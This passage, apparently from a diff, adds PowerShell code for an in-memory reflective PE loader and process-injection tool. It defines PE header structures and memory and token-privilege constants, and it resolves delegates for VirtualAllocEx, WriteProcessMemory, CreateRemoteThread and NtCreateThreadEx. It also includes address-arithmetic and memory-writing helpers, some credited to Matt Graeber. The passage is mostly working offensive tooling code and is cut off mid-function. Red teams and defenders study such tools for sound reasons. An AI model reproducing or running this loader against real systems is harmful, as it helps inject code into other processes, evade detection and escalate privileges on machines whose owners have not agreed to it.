$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Get-Hex + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + $Value #We will determine the type dynamically + ) + + $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 + $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. + + return $Hex + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = 